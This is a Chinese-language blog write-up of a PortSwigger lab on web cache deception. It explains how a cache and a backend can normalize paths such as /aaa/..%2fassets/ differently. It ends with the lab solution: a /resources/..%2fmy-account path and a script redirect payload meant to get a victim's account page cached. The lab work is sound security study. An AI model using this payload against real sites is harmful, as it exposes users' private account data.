PortSwigger网络缓存欺骗(3)

检测缓存服务器的规范化

您可以使用几种不同的方法来测试缓存如何规范化路径。首先,确定潜在的静态目录。在**"代理">"HTTP 历史记录"**中,查找具有常见静态目录前缀和缓存响应的请求。通过将 HTTP 历史记录过滤器设置为仅显示响应类型为 2xx 且 MIME 类型为 script、images 和 CSS 的消息,来重点关注静态资源。

然后,您可以选择一个带有缓存响应的请求,并使用路径遍历序列和静态路径开头的任意目录重新发送该请求。选择一个响应中包含缓存痕迹的请求。例如/aaa/..%2fassets/js/stockCheck.js

  • 如果响应不再被缓存,则表明缓存未在将路径映射到端点之前对其进行规范化。这说明存在基于/assets前缀的缓存规则。
  • 如果响应仍然被缓存,这可能表明缓存已将路径规范化/assets/js/stockCheck.js

1. 先理解正常情况

假设网站真正的 JS 文件是:

复制代码
/assets/js/stockCheck.js

你正常访问:

复制代码
https://example.com/assets/js/stockCheck.js

服务器返回 JS。

因为 /assets/ 通常被认为是静态资源目录,所以缓存服务器可能有这样的规则:

复制代码
/assets/*  →  可以缓存

于是:

复制代码
/assets/js/stockCheck.js

第一次访问:

复制代码
X-Cache: MISS

第二次访问:

复制代码
X-Cache: HIT

说明它被缓存了。


2. 现在关键来了:构造一个"看起来不一样"的 URL

例如:

复制代码
/aaa/..%2fassets/js/stockCheck.js

%2f 解码:

复制代码
%2f
↓
/

所以它实际上类似于:

复制代码
/aaa/../assets/js/stockCheck.js

而:

复制代码
aaa/..

意味着:

aaa 目录退回上一级。

所以规范化以后:

复制代码
/aaa/../assets/js/stockCheck.js
                    ↓
/assets/js/stockCheck.js

也就是说:

复制代码
/aaa/..%2fassets/js/stockCheck.js

和:

复制代码
/assets/js/stockCheck.js

最终可能指向同一个资源。

3.流程

你可以这样理解:

复制代码
第一步
找到真正的静态资源

/assets/js/stockCheck.js
             │
             ↓
         X-Cache: HIT

说明:

复制代码
/assets/ 是一个缓存目录

然后:

复制代码
第二步
制造一个"表面上不是 /assets/"的 URL

/aaa/..%2fassets/js/stockCheck.js

它经过规范化后:

复制代码
/aaa/../assets/js/stockCheck.js
              ↓
/assets/js/stockCheck.js

然后观察:

复制代码
             /aaa/..%2fassets/js/stockCheck.js
                         │
               ┌─────────┴─────────┐
               ↓                   ↓
          缓存服务器            后端服务器
               │                   │
               ↓                   ↓
       是否规范化路径?       是否规范化路径?
               │                   │
               └─────────┬─────────┘
                         ↓
                    看 X-Cache

4.最重要的是理解"两个解析器"

这是你这段实验最容易迷糊的地方。

可以把它想象成:

复制代码
             URL
              │
              ↓
        ┌───────────┐
        │   Cache   │
        └───────────┘
              │
              ↓
        判断是否缓存
              │
              ↓
        ┌───────────┐
        │ Web Server│
        └───────────┘
              │
              ↓
          找真实资源

如果两边理解一致:

复制代码
Cache:
 /aaa/..%2fassets/... 
        ↓
 /assets/...
 
Backend:
 /aaa/..%2fassets/...
        ↓
 /assets/...

一般不会产生这种缓存欺骗问题。

但是如果:5.

复制代码
Cache:
 /aaa/..%2fassets/...
        ↓
 不认为是 /assets/
        ↓
 不缓存

Backend:
 /aaa/..%2fassets/...
        ↓
 /assets/...
        ↓
 找到真实资源

就出现了解析差异


5.非常简单的口诀

正常 URL

复制代码
/assets/js/a.js

缓存认为:

复制代码
/assets → 静态 → 缓存

测试 URL

复制代码
/aaa/..%2fassets/js/a.js

实际路径可能是:

复制代码
/aaa/../assets/js/a.js
          ↓
/assets/js/a.js

然后问缓存:

你会不会先把它规范化,再判断它是不是 /assets/

如果不会:

复制代码
X-Cache: MISS

说明:

缓存判断和后端路径解析可能存在差异。

如果会:

复制代码
X-Cache: HIT

说明:

缓存可能已经把它规范化为 /assets/js/a.js 再进行缓存判断。

实验:利用源服务器规范化进行 Web 缓存欺骗

结合前两个实验和刚才新的规范化方法可以轻松解决本次实验

如果不知道编码转换的 burpsuit也提供了

打上payload开始测试分隔符哪个可以被使用在检测缓存服务器

通过状态可知"?"可以被用来分割url

现在构造就很简单了

因为缓存漏洞 也就是缓存服务器存在于静态资源,所以之后的构造我们需要将/aa/..改成/resources/..

复制代码
/resources/..%2fmy-account

但是我还是打不出hit 只能如此了

之后加入js来缓存 用?进行分隔

复制代码
<script>window.location="https://0a5c0003047a823b809d03010052002c.web-security-academy.net/resources/..%2fmy-account?a=cd.js"</script>

如果想看最后结果也可以看以下视频来帮助理解

https://www.youtube.com/watch?v=DYBBUUnYGcc

相关推荐
MetaLite3 小时前
SpringBoot整合Caffeine-集群本地缓存如何保证分布式一致性
spring boot·分布式·缓存
01传说17 小时前
redis开机自启脚本
数据库·redis·缓存
李可以量化1 天前
Redis Client 从了解到精通(二)上:redis-py 高级用法与核心命令实战
前端·数据库·redis·python·缓存·ptrade
仍然.1 天前
Redis---String
数据库·redis·缓存
JavaPub-rodert1 天前
Redis 和 MySQL 如何保证数据一致性?从缓存更新到延迟双删完整讲解
redis·mysql·缓存
2401_894915531 天前
GEO 优化源码性能调优:高并发地域请求缓存与索引优化
java·服务器·网络·数据库·缓存
晓晓_za8986681 天前
多租户 GEO 优化系统源码架构:权限隔离与数据分离实现
java·tcp/ip·spring·缓存·微服务·架构
敲上瘾1 天前
Redis持久化存储机制:从RDB到AOF再到混合持久化的配置与实践
linux·数据库·redis·缓存
正儿八经的少年1 天前
布隆过滤器(解决redis缓存穿透步骤之一)
数据库·redis·缓存